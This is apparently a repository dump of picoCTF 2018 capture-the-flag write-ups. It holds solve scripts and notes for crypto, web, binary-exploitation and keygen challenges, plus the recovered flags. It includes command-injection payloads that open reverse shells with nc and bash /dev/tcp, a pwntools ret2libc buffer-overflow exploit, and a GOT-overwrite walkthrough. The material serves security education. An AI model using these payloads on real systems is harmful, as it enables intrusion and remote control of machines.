E[x]it 44 | Please choose: n 45 | 46 | Name of file? AAAAAAAAAAAAAAAAAAAAAAAAA 47 | Data? AAAAAAAAAAAAAAAAAAAAAAAAA 48 | Share code: 49 | aDRAiN4cUN+kAiCJOlEo+mg0QIjeHFDfpG0VsA8= 50 | 51 | Choices: 52 | E[n]crypt and store file 53 | D[e]crypt file 54 | L[i]st files 55 | E[x]it 56 | Please choose: i 57 | 58 | Files: 59 | AAAAAAAAAAAAAAAAAAAAAAAAA.txt 60 | flag_e734862f2a5dffdcd8c8.txt 61 | 62 | Choices: 63 | E[n]crypt and store file 64 | D[e]crypt file 65 | L[i]st files 66 | E[x]it 67 | Please choose: e 68 | 69 | Share code? TxlgrsA4Jq3Re1f6HSIIjk0TZ638OSn93W0VsA8= 70 | Data: 71 | picoCTF{alw4ys_4lways_Always_check_int3grity_6ce3f91c} 72 | 73 | Choices: 74 | E[n]crypt and store file 75 | D[e]crypt file 76 | L[i]st files 77 | E[x]it 78 | Please choose: 79 | 80 | 81 | ## Flag 82 | 83 | picoCTF{alw4ys_4lways_Always_check_int3grity_6ce3f91c} 84 | -------------------------------------------------------------------------------- /Solved/eleCTRic/aes-ctr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/eleCTRic/aes-ctr.png -------------------------------------------------------------------------------- /Solved/eleCTRic/eleCTRic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from Crypto import Random 4 | from Crypto.Cipher import AES 5 | import sys 6 | import time 7 | import binascii 8 | 9 | 10 | class AESCipher(object): 11 | def __init__(self): 12 | self.bs = 32 13 | random = Random.new() 14 | self.key = random.read(AES.block_size) 15 | self.ctr = random.read(AES.block_size) 16 | 17 | def encrypt(self, raw): 18 | cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr) 19 | return cipher.encrypt(raw).encode('base64').replace('\n', '') 20 | 21 | def decrypt(self, enc): 22 | try: 23 | enc = enc.decode('base64') 24 | except binascii.Error: 25 | return None 26 | cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr) 27 | return cipher.decrypt(enc) 28 | 29 | class Unbuffered(object): 30 | def __init__(self, stream): 31 | self.stream = stream 32 | def write(self, data): 33 | self.stream.write(data) 34 | self.stream.flush() 35 | def writelines(self, datas): 36 | self.stream.writelines(datas) 37 | self.stream.flush() 38 | def __getattr__(self, attr): 39 | return getattr(self.stream, attr) 40 | 41 | sys.stdout = Unbuffered(sys.stdout) 42 | 43 | def get_flag(): 44 | try: 45 | with open("flag.txt") as f: 46 | return f.read().strip() 47 | except IOError: 48 | return "picoCTF{xxxFAKEFLAGxxx} Something went wrong. Contact organizers." 49 | 50 | def welcome(): 51 | print "Welcome to eleCTRic Ltd's Safe Crypto Storage" 52 | print "---------------------------------------------" 53 | 54 | 55 | def menu(): 56 | print "" 57 | print "Choices:" 58 | print " E[n]crypt and store file" 59 | print " D[e]crypt file" 60 | print " L[i]st files" 61 | print " E[x]it" 62 | while True: 63 | choice = raw_input("Please choose: ") 64 | if choice in list('neix'): 65 | print "" 66 | return choice 67 | 68 | 69 | def do_encrypt(aes, files): 70 | filename = raw_input("Name of file? ") 71 | if any(x in filename for x in '._/\\ '): 72 | print "Disallowed characters" 73 | return 74 | filename += '.txt' 75 | if filename in files: 76 | if raw_input("Clobber previously existing file? [yN] ") != 'y': 77 | return 78 | data = raw_input("Data? ") 79 | files[filename] = aes.encrypt(data) 80 | print "Share code:" 81 | print aes.encrypt(filename) 82 | 83 | 84 | def do_decrypt(aes, files): 85 | enc = raw_input("Share code? ") 86 | filename = aes.decrypt(enc) 87 | if filename is None: 88 | print "Invalid share code" 89 | return 90 | if filename in files: 91 | print "Data: " 92 | print aes.decrypt(files[filename]) 93 | else: 94 | print "Could not find file" 95 | return 96 | 97 | 98 | def do_list_files(files): 99 | print "Files:" 100 | for f in files: 101 | print " " + f 102 | 103 | 104 | def main(): 105 | print "Initializing Problem..." 106 | aes = AESCipher() 107 | flag = get_flag() 108 | flag_file_name = "flag_%s" % Random.new().read(10).encode('hex') 109 | 110 | files = {flag_file_name + ".txt": aes.encrypt(flag)} 111 | 112 | welcome() 113 | while True: 114 | choice = menu() 115 | if choice == 'n': # Encrypt 116 | do_encrypt(aes, files) 117 | elif choice == 'e': # Decrypt 118 | do_decrypt(aes, files) 119 | elif choice == 'i': # List files 120 | do_list_files(files) 121 | elif choice == 'x': # Exit 122 | break 123 | else: 124 | print "Impossible! Contact contest admins." 125 | sys.exit(1) 126 | 127 | 128 | main() 129 | -------------------------------------------------------------------------------- /Solved/eleCTRic/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from Crypto import Random 4 | from Crypto.Cipher import AES 5 | import sys 6 | import time 7 | import binascii 8 | import base64 9 | 10 | 11 | def xor_zip_bytes(bytearray1, bytearray2): 12 | final = b'' 13 | for a, b in zip(bytearray1, bytearray2): 14 | final += bytes([a ^ b]) 15 | return final 16 | 17 | def get_keystream(send, recv): 18 | plaintext = send.encode() + b".txt" 19 | ciphertext = base64.b64decode(recv) 20 | assert len(plaintext) == len(ciphertext) 21 | keystream = xor_zip_bytes(plaintext, ciphertext) 22 | 23 | print("plaintext:", plaintext) 24 | print("ciphertext:", ciphertext) 25 | print("keystream:", keystream) 26 | print() 27 | 28 | return keystream 29 | 30 | def calculate_share_code(plaintext, keystream): 31 | plaintext = plaintext.encode() + b".txt" 32 | ciphertext = xor_zip_bytes(plaintext, keystream) 33 | share_code = base64.b64encode(ciphertext) 34 | 35 | print("Share code:", share_code) 36 | print() 37 | 38 | return share_code 39 | 40 | 41 | def debug(): 42 | send = "AAAAAAAAAAAAAAAAAAAAAAAAA" 43 | recv = "iKUkWi+QdHLy49jMpwUb2IilJFovkHRy8ozt9ZI=" 44 | keystream = get_keystream(send, recv) 45 | 46 | send2 = "BBBBBBBBBBBBBBBBBBBBBBBBB" 47 | recv2 = "i6YnWSyTd3Hx4NvPpAYY24umJ1ksk3dx8Yzt9ZI=" 48 | keystream2 = get_keystream(send2, recv2) 49 | 50 | assert keystream == keystream2 51 | assert recv2 == calculate_share_code(send2, keystream2).decode() 52 | 53 | 54 | def main(): 55 | send = "AAAAAAAAAAAAAAAAAAAAAAAAA" 56 | recv = "aDRAiN4cUN+kAiCJOlEo+mg0QIjeHFDfpG0VsA8=" 57 | 58 | filename = 'flag_e734862f2a5dffdcd8c8' 59 | 60 | keystream = get_keystream(send, recv) 61 | calculate_share_code(filename, keystream).decode() 62 | 63 | if __name__ == '__main__': 64 | main() 65 | -------------------------------------------------------------------------------- /Solved/environ/README.md: -------------------------------------------------------------------------------- 1 | # environ 2 | General Skills - 150 points 3 | 4 | ## Challenge 5 | > Sometimes you have to configure environment variables before executing a program. Can you find the flag we've hidden in an environment variable on the shell server? 6 | 7 | 8 | ## Solution 9 | 10 | zst123@pico-2018-shell-2:~$ printenv 11 | SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492} 12 | FLAG=Finding the flag wont be that easy... 13 | -------------------------------------------------------------------------------- /Solved/fancy_alive_monitoring/README.md: -------------------------------------------------------------------------------- 1 | # fancy-alive-monitoring 2 | Web Exploitation - 400 points 3 | 4 | ## Challenge 5 | > One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell2.picoctf.com:56517 (link)? 6 | 7 | ## Hint 8 | > This application uses the validation check both on the client side and on the server side, but the server check seems to be inappropriate. 9 | 10 | > You should be able to listen through the shell on the server. 11 | 12 | 13 | ## Solution 14 | 15 | The source is provided on the website: [index.txt](index.txt) 16 | 17 | To bypass client-side check, call this in Javascript console to submit 18 | 19 | document.getElementById("monitor").submit(); 20 | 21 | The server-side check only checks for an IP address but still allows additional contents. So we can execute shell commands... 22 | 23 | --- 24 | 25 | From the hint, we need to spawn a reverse shell 26 | 27 | - https://null-byte.wonderhowto.com/how-to/use-command-injection-pop-reverse-shell-web-server-0185760/ 28 | - https://gist.github.com/rshipp/eee36684db07d234c1cc 29 | - https://hackernoon.com/reverse-shell-cf154dfee6bd 30 | - https://stackoverflow.com/questions/35271850/what-is-a-reverse-shell 31 | 32 | Listen on our account shell using `nc -v -l -p 2718` 33 | 34 | And then connect through the website by submitting any of the following: 35 | 36 | 127.0.0.1; nc 2018shell2.picoctf.com 2718 -e /bin/sh 37 | 127.0.0.1; /bin/bash -c 'bash -i >& /dev/tcp/2018shell2.picoctf.com/2718 0>&1' 38 | 127.0.0.1; /bin/bash -c 'bash -i >& /dev/tcp/2018shell2.picoctf.com/2718 0>&1' 39 | 40 | And afterwhich we can cat out the flag 41 | 42 | zst123@pico-2018-shell-2:~$ nc -v -l -p2718 43 | 44 | Listening on [0.0.0.0] (family 0, port 2718) 45 | Connection from [18.224.157.204] port 2718 [tcp/*] accepted (family 2, sport 44474) 46 | bash: cannot set terminal process group (121526): Inappropriate ioctl for device 47 | bash: no job control in this shell 48 | 49 | 2 | 3 | Monitoring Tool 4 | 16 | 17 | 18 |

Monitoring Tool ver 0.1

19 |
20 |

Input IP address of the target host 21 | 22 |

23 | 24 |
25 |
26 | 27 | Target is NOT alive."); 36 | break; 37 | } else if (strpos($str, ', 0% packet loss') !== false){ 38 | printf("

Target is alive.

"); 39 | break; 40 | } 41 | } 42 | } else { 43 | echo "Wrong IP Format."; 44 | } 45 | } 46 | ?> 47 |
48 | index.php source code 49 | 50 | 51 | -------------------------------------------------------------------------------- /Solved/got_2_learn_libc/README.md: -------------------------------------------------------------------------------- 1 | # got-2-learn-libc 2 | Binary Exploitation - 250 points 3 | 4 | ## Challenge 5 | > This [program](vuln) gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee on the shell server. 6 | 7 | > [Source.](vuln.c) 8 | 9 | ## Hint 10 | > try returning to systems calls to leak information 11 | 12 | > don't forget you can always return back to main() 13 | 14 | ## Solution 15 | 16 | References: 17 | 18 | - https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf 19 | - https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-i/ 20 | - https://security.stackexchange.com/questions/168101/return-to-libc-finding-libcs-address-and-finding-offsets 21 | 22 | --- 23 | 24 | 25 | Find buffer offset 26 | 27 | $ pwn cyclic 200 | strace ./vuln 28 | --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x62616170} --- 29 | +++ killed by SIGSEGV +++ 30 | Segmentation fault 31 | 32 | $ pwn cyclic -l 0x62616170 33 | 160 34 | 35 | 36 | Find libc offset 37 | https://security.stackexchange.com/questions/168101/return-to-libc-finding-libcs-address-and-finding-offsets 38 | 39 | $ ldd vuln 40 | linux-gate.so.1 (0xf76ef000) 41 | libc.so.6 => /lib32/libc.so.6 (0xf7507000) 42 | /lib/ld-linux.so.2 (0xf76f0000) 43 | 44 | $ readelf -s /lib32/libc.so.6 | grep fflush 45 | ... 46 | 103: 00065fd0 291 FUNC WEAK DEFAULT 13 fflush@@GLIBC_2.0 47 | 48 | $ readelf -s /lib32/libc.so.6 | grep system 49 | ... 50 | 1510: 0003d7e0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 51 | 52 | Putting into pwntools 53 | 54 | $ python ~/solve.py 55 | [+] Starting local process './vuln': pid 441090 56 | ('puts', '0xf7589140') 57 | ('fflush_addr', '0xf7587330') 58 | ('useful_string_addr', '0x5656b030') 59 | 60 | [*] Switching to interactive mode 61 | 62 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@IV?junk0\xb0VV 63 | Thanks! Exiting now... 64 | $ ls 65 | flag.txt vuln vuln.c 66 | $ cat flag.txt 67 | picoCTF{syc4al1s_4rE_uS3fUl_bd99244d} 68 | 69 | ## Flag 70 | 71 | picoCTF{syc4al1s_4rE_uS3fUl_bd99244d} 72 | -------------------------------------------------------------------------------- /Solved/got_2_learn_libc/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | 4 | puts_libc = 0x00067e30 5 | fflush_libc = 0x00065fd0 6 | system_libc = 0x0003d7e0 7 | 8 | def main(): 9 | p = process('./vuln') 10 | 11 | # Gather addresses 12 | p.recvuntil("puts: ") 13 | puts_addr = int(p.recvline(), 16) 14 | 15 | p.recvuntil("fflush ") 16 | fflush_addr = int(p.recvline(), 16) 17 | 18 | p.recvuntil("useful_string: ") 19 | useful_string_addr = int(p.recvline(), 16) 20 | 21 | print "puts", hex(puts_addr) 22 | print "fflush_addr", hex(fflush_addr) 23 | print "useful_string_addr", hex(useful_string_addr) 24 | 25 | # Check offset is correct 26 | puts_fflush_offset = (puts_libc - fflush_libc) 27 | assert (puts_addr - fflush_addr) == puts_fflush_offset 28 | 29 | # Calculate system() address 30 | puts_system_offset = (puts_libc - system_libc) 31 | system_addr = puts_addr - puts_system_offset 32 | 33 | # Calculate main() address 34 | # main_addr = useful_string_addr - 0x2030 + 0x803 35 | 36 | # Form payload 37 | payload = 'A' * 160 38 | # payload += p32(main_addr) 39 | payload += p32(system_addr) 40 | payload += "junk" 41 | payload += p32(useful_string_addr) 42 | 43 | p.recvuntil("Enter a string:") 44 | p.sendline(payload) 45 | 46 | # End off 47 | p.interactive() 48 | 49 | # Print core details 50 | core = p.corefile 51 | print 'EIP', hex(core.eip) 52 | 53 | 54 | if __name__ == "__main__": 55 | main() 56 | -------------------------------------------------------------------------------- /Solved/got_2_learn_libc/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/got_2_learn_libc/vuln -------------------------------------------------------------------------------- /Solved/got_2_learn_libc/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define BUFSIZE 148 8 | #define FLAGSIZE 128 9 | 10 | char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */ 11 | 12 | 13 | void vuln(){ 14 | char buf[BUFSIZE]; 15 | puts("Enter a string:"); 16 | gets(buf); 17 | puts(buf); 18 | puts("Thanks! Exiting now..."); 19 | } 20 | 21 | int main(int argc, char **argv){ 22 | 23 | setvbuf(stdout, NULL, _IONBF, 0); 24 | 25 | // Set the gid to the effective gid 26 | // this prevents /bin/sh from dropping the privileges 27 | gid_t gid = getegid(); 28 | setresgid(gid, gid, gid); 29 | 30 | 31 | puts("Here are some useful addresses:\n"); 32 | 33 | printf("puts: %p\n", puts); 34 | printf("fflush %p\n", fflush); 35 | printf("read: %p\n", read); 36 | printf("write: %p\n", write); 37 | printf("useful_string: %p\n", useful_string); 38 | 39 | printf("\n"); 40 | 41 | vuln(); 42 | 43 | 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /Solved/got_shell/README.md: -------------------------------------------------------------------------------- 1 | # got-shell? 2 | Binary Exploitation - 350 points 3 | 4 | ## Challenge 5 | > Can you authenticate to this [service](auth) and get the flag? Connect to it with nc 2018shell2.picoctf.com 3582. [Source](auth.c) 6 | 7 | 8 | ## Hint 9 | > Ever heard of the Global Offset Table? 10 | 11 | 12 | ## Solution 13 | 14 | Really good resource 15 | 16 | - http://www.infosecwriters.com/text_resources/pdf/GOT_Hijack.pdf 17 | 18 | --- 19 | 20 | Basically we override the GOT entry to allow us to jump into `win()`. A convenient one is to override the entry for `exit()` 21 | 22 | First, find the address jumped to 23 | 24 | (gdb) disas main 25 | ... 26 | 0x0804863b <+215>: push %eax 27 | 0x0804863c <+216>: call 0x80483d0 28 | 0x08048641 <+221>: add $0x10,%esp 29 | 0x08048644 <+224>: mov -0x114(%ebp),%eax 30 | 0x0804864a <+230>: mov %eax,%edx 31 | 0x0804864c <+232>: mov -0x110(%ebp),%eax 32 | 0x08048652 <+238>: mov %eax,(%edx) 33 | 0x08048654 <+240>: sub $0xc,%esp 34 | 0x08048657 <+243>: push $0x80487ac 35 | 0x0804865c <+248>: call 0x80483d0 36 | 0x08048661 <+253>: add $0x10,%esp 37 | 0x08048664 <+256>: sub $0xc,%esp 38 | 0x08048667 <+259>: push $0x1 39 | 0x08048669 <+261>: call 0x80483f0 40 | End of assembler dump. 41 | 42 | Here we can see that the address of `exit()` is at `0x80483f0` 43 | 44 | 0x08048669 <+261>: call 0x80483f0 45 | 46 | We then look at the address it is jumping to... 47 | 48 | (gdb) x/i 0x80483f0 49 | 0x80483f0 : jmp *0x804a014 50 | 51 | Now, we need to override it with the address of `win()` 52 | 53 | (gdb) p win 54 | $1 = {} 0x804854b 55 | 56 | ## Flag 57 | 58 | $ nc 2018shell2.picoctf.com 3582 59 | I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value? 60 | 0x804a014 61 | Okay, now what value would you like to write to 0x804a00c 62 | 0x804854b 63 | Okay, writing 0x804854b to 0x804a00c 64 | 65 | ls 66 | auth 67 | auth.c 68 | flag.txt 69 | xinet_startup.sh 70 | cat flag.txt 71 | picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_d3c1afdd} 72 | -------------------------------------------------------------------------------- /Solved/got_shell/auth: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/got_shell/auth -------------------------------------------------------------------------------- /Solved/got_shell/auth.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void win() { 8 | system("/bin/sh"); 9 | } 10 | 11 | int main(int argc, char **argv) { 12 | 13 | setvbuf(stdout, NULL, _IONBF, 0); 14 | 15 | char buf[256]; 16 | 17 | unsigned int address; 18 | unsigned int value; 19 | 20 | puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?"); 21 | 22 | scanf("%x", &address); 23 | 24 | sprintf(buf, "Okay, now what value would you like to write to 0x%x", address); 25 | puts(buf); 26 | 27 | scanf("%x", &value); 28 | 29 | sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address); 30 | puts(buf); 31 | 32 | *(unsigned int *)address = value; 33 | 34 | puts("Okay, exiting now...\n"); 35 | exit(1); 36 | 37 | } 38 | -------------------------------------------------------------------------------- /Solved/in_out_error/README.md: -------------------------------------------------------------------------------- 1 | # in out error 2 | General Skills - 275 points 3 | 4 | ## Challenge 5 | > Can you utlize stdin, stdout, and stderr to get the flag from [this program](in-out-error)? You can also find it in /problems/in-out-error_4_c51f68457d8543c835331292b7f332d2 on the shell server 6 | 7 | ## Hint 8 | > Maybe you can split the stdout and stderr output? 9 | 10 | 11 | ## Solution 12 | 13 | https://stackoverflow.com/questions/11087499/bash-how-do-you-capture-stderr-to-a-variable 14 | 15 | $ echo 'Please may I have the flag?' > ~/derp.txt 16 | $ ./in-out-error 2>&1 > /dev/null < ~/derp.txt 17 | picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}picoCTF{p1p1ng_1S_4_7h 18 | 19 | 20 | ## Flag 21 | 22 | picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e} 23 | -------------------------------------------------------------------------------- /Solved/in_out_error/in-out-error: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/in_out_error/in-out-error -------------------------------------------------------------------------------- /Solved/keygen_me_1/activate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/keygen_me_1/activate -------------------------------------------------------------------------------- /Solved/keygen_me_1/debug.c: -------------------------------------------------------------------------------- 1 | /****************************************************************************** 2 | 3 | Online C Compiler. 4 | Code, Compile, Run and Debug C program online. 5 | Write your code in this editor and press "Run" button to compile and execute it. 6 | 7 | *******************************************************************************/ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | int32_t ord(char v1) { 14 | if (v1 > 57) { 15 | if (v1 > 90) { 16 | puts("Found Invalid Character!"); 17 | exit(0); 18 | } 19 | return (v1 - 55); // alphabet 20 | } else { 21 | return (v1 - 48); // digit 22 | } 23 | } 24 | 25 | int32_t validate_key(char * str) { 26 | int32_t len = strlen(str) - 1; 27 | int64_t sum = 0; 28 | if (len > 0) { 29 | sum = (ord(str[0]) + 1) * 1; // 0x80487c2 30 | int32_t i = 1; // 0x80487bc 31 | while (i != len) { 32 | printf("Debug sum (%d): %d \n", i, sum); 33 | sum += (ord(str[i]) + 1) * (i+1); 34 | i++; 35 | } 36 | } 37 | 38 | // v10 = sum / 36 39 | uint64_t v10 = 0x38e38e39 * (sum & 0xffffffff) / 0x800000000; 40 | 41 | // thus, v10 gets remainder of the division = sum % 36 42 | int32_t v11 = sum + -36 * v10; // ebx 43 | 44 | // Hence, check if remainder = final char 45 | int32_t v12 = ord(str[len]); // 0x8048808 46 | 47 | printf("Debug sum (end): %d \n", sum); 48 | printf("Debug v10: %d \n", v10); 49 | printf("Debug v11: %d \n", v11); 50 | 51 | return (int32_t) (v11 == v12);//-256; 52 | } 53 | 54 | int main() { 55 | int result = validate_key("AAAABBBBCCCCDDDD"); 56 | printf("Result %d", result); 57 | return 0; 58 | } 59 | -------------------------------------------------------------------------------- /Solved/keygen_me_2/activate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/keygen_me_2/activate -------------------------------------------------------------------------------- /Solved/keygen_me_2/test1.c: -------------------------------------------------------------------------------- 1 | 2 | int32_t mod(int64_t a, int32_t b) { 3 | return a % b 4 | } 5 | 6 | int32_t key_constraint_01(char * str, int32_t length) { 7 | int value = ord(str[0]) + ord(str[1]) 8 | return mod(value, 36) == 14; 9 | } 10 | 11 | int32_t key_constraint_02(char * str, int32_t length) { 12 | int value = ord(str[2]) + ord(str[3]) 13 | return mod(value, 36) == 24; 14 | } 15 | 16 | int32_t key_constraint_03(char * str, int32_t length) { 17 | int value = ord(str[2]) - ord(str[0]); 18 | return mod(value, 36) == 6; 19 | } 20 | 21 | int32_t key_constraint_04(char * str, int32_t length) { 22 | int value = ord(str[1]) + ord(str[3]) + ord(str[5]); 23 | return mod(value, 36) == 4; 24 | } 25 | 26 | int32_t key_constraint_05(char * str, int32_t length) { 27 | int value = ord(str[2]) + ord(str[4]) + ord(str[6]); 28 | return mod(value, 36) == 13; 29 | } 30 | 31 | int32_t key_constraint_06(char * str, int32_t length) { 32 | int value = ord(str[3]) + ord(str[4]) + ord(str[5]); 33 | return mod(value, 36) == 22; 34 | } 35 | 36 | int32_t key_constraint_07(char * str, int32_t length) { 37 | int value = ord(str[6]) + ord(str[8]) + ord(str[10]); 38 | return mod(value, 36) == 31; 39 | } 40 | 41 | int32_t key_constraint_08(char * str, int32_t length) { 42 | int value = ord(str[1]) + ord(str[4]) + ord(str[7]); 43 | return mod(value, 36) == 7; 44 | } 45 | 46 | int32_t key_constraint_09(char * str, int32_t length) { 47 | int value = ord(str[9]) + ord(str[12]) + ord(str[15]); 48 | return mod(value, 36) == 20; 49 | } 50 | 51 | int32_t key_constraint_10(char * str, int32_t length) { 52 | int value = ord(str[13]) + ord(str[14]) + ord(str[15]); 53 | return mod(value, 36) == 12; 54 | } 55 | 56 | int32_t key_constraint_11(char * str, int32_t length) { 57 | int value = ord(str[8]) + ord(str[9]) + ord(str[10]); 58 | return mod(value, 36) == 27; 59 | } 60 | 61 | int32_t key_constraint_12(char * str, int32_t length) { 62 | int value = ord(str[7]) + ord(str[12]) + ord(str[13]); 63 | return mod(value, 36) == 23; 64 | } 65 | -------------------------------------------------------------------------------- /Solved/keygen_me_2/test2.c: -------------------------------------------------------------------------------- 1 | /****************************************************************************** 2 | 3 | Online C Compiler. 4 | Code, Compile, Run and Debug C program online. 5 | Write your code in this editor and press "Run" button to compile and execute it. 6 | 7 | *******************************************************************************/ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | int32_t ord(char v1) { 14 | if (v1 > 57) { 15 | if (v1 > 90) { 16 | puts("Found Invalid Character!"); 17 | exit(0); 18 | } 19 | return (v1 - 55); // alphabet 20 | } else { 21 | return (v1 - 48); // digit 22 | } 23 | } 24 | 25 | 26 | int32_t mod(int64_t a, int32_t b) { 27 | return a % b; 28 | } 29 | 30 | int32_t key_constraint_01(char * str, int32_t length) { 31 | int value = ord(str[0]) + ord(str[1]); 32 | printf("key_constraint_01: %d == 14\n", mod(value, 36)); 33 | return mod(value, 36) == 14; 34 | } 35 | 36 | int32_t key_constraint_02(char * str, int32_t length) { 37 | int value = ord(str[2]) + ord(str[3]); 38 | printf("key_constraint_02: %d == 24\n", mod(value, 36)); 39 | return mod(value, 36) == 24; 40 | } 41 | 42 | int32_t key_constraint_03(char * str, int32_t length) { 43 | int value = ord(str[2]) - ord(str[0]); 44 | printf("key_constraint_03: %d == 6\n", mod(value, 36)); 45 | return mod(value, 36) == 6; 46 | } 47 | 48 | int32_t key_constraint_04(char * str, int32_t length) { 49 | int value = ord(str[1]) + ord(str[3]) + ord(str[5]); 50 | printf("key_constraint_04: %d == 4\n", mod(value, 36)); 51 | return mod(value, 36) == 4; 52 | } 53 | 54 | int32_t key_constraint_05(char * str, int32_t length) { 55 | int value = ord(str[2]) + ord(str[4]) + ord(str[6]); 56 | printf("key_constraint_05: %d == 13\n", mod(value, 36)); 57 | return mod(value, 36) == 13; 58 | } 59 | 60 | int32_t key_constraint_06(char * str, int32_t length) { 61 | int value = ord(str[3]) + ord(str[4]) + ord(str[5]); 62 | printf("key_constraint_06: %d == 22\n", mod(value, 36)); 63 | return mod(value, 36) == 22; 64 | } 65 | 66 | int32_t key_constraint_07(char * str, int32_t length) { 67 | int value = ord(str[6]) + ord(str[8]) + ord(str[10]); 68 | printf("key_constraint_07: %d == 31\n", mod(value, 36)); 69 | return mod(value, 36) == 31; 70 | } 71 | 72 | int32_t key_constraint_08(char * str, int32_t length) { 73 | int value = ord(str[1]) + ord(str[4]) + ord(str[7]); 74 | printf("key_constraint_08: %d == 7\n", mod(value, 36)); 75 | return mod(value, 36) == 7; 76 | } 77 | 78 | int32_t key_constraint_09(char * str, int32_t length) { 79 | int value = ord(str[9]) + ord(str[12]) + ord(str[15]); 80 | printf("key_constraint_09: %d == 20\n", mod(value, 36)); 81 | return mod(value, 36) == 20; 82 | } 83 | 84 | int32_t key_constraint_10(char * str, int32_t length) { 85 | int value = ord(str[13]) + ord(str[14]) + ord(str[15]); 86 | printf("key_constraint_10: %d == 12\n", mod(value, 36)); 87 | return mod(value, 36) == 12; 88 | } 89 | 90 | int32_t key_constraint_11(char * str, int32_t length) { 91 | int value = ord(str[8]) + ord(str[9]) + ord(str[10]); 92 | printf("key_constraint_11: %d == 27\n", mod(value, 36)); 93 | return mod(value, 36) == 27; 94 | } 95 | 96 | int32_t key_constraint_12(char * str, int32_t length) { 97 | int value = ord(str[7]) + ord(str[12]) + ord(str[13]); 98 | printf("key_constraint_12: %d == 23\n", mod(value, 36)); 99 | return mod(value, 36) == 23; 100 | } 101 | 102 | 103 | char charset[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 104 | char KEY[16] = "AAAABBBBCCCCDDDD"; 105 | 106 | void do_check() { 107 | if (key_constraint_01(KEY, 0) && 108 | key_constraint_02(KEY, 0) && 109 | key_constraint_03(KEY, 0) && 110 | key_constraint_04(KEY, 0) && 111 | key_constraint_05(KEY, 0) && 112 | key_constraint_06(KEY, 0) && 113 | key_constraint_07(KEY, 0) && 114 | key_constraint_08(KEY, 0) && 115 | key_constraint_09(KEY, 0) && 116 | key_constraint_10(KEY, 0) && 117 | key_constraint_11(KEY, 0) && 118 | key_constraint_12(KEY, 0)) { 119 | printf("Success %s \n", KEY); 120 | exit(0); 121 | } 122 | } 123 | int main() { 124 | do_check(); 125 | return 0; 126 | } 127 | -------------------------------------------------------------------------------- /Solved/keygen_me_2/z3-solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from z3 import * 3 | 4 | key = IntVector("key", 16) 5 | s = Solver() 6 | 7 | # KEYGEN CONSTRAINTS 8 | 9 | key_constraint_01 = key[0] + key[1] 10 | s.add(key_constraint_01 % 36 == 14) 11 | 12 | key_constraint_02 = key[2] + key[3] 13 | s.add(key_constraint_02 % 36 == 24) 14 | 15 | key_constraint_03 = key[2] - key[0] 16 | s.add(key_constraint_03 % 36 == 6) 17 | 18 | key_constraint_04 = key[1] + key[3] + key[5] 19 | s.add(key_constraint_04 % 36 == 4) 20 | 21 | key_constraint_05 = key[2] + key[4] + key[6] 22 | s.add(key_constraint_05 % 36 == 13) 23 | 24 | key_constraint_06 = key[3] + key[4] + key[5] 25 | s.add(key_constraint_06 % 36 == 22) 26 | 27 | key_constraint_07 = key[6] + key[8] + key[10] 28 | s.add(key_constraint_07 % 36 == 31) 29 | 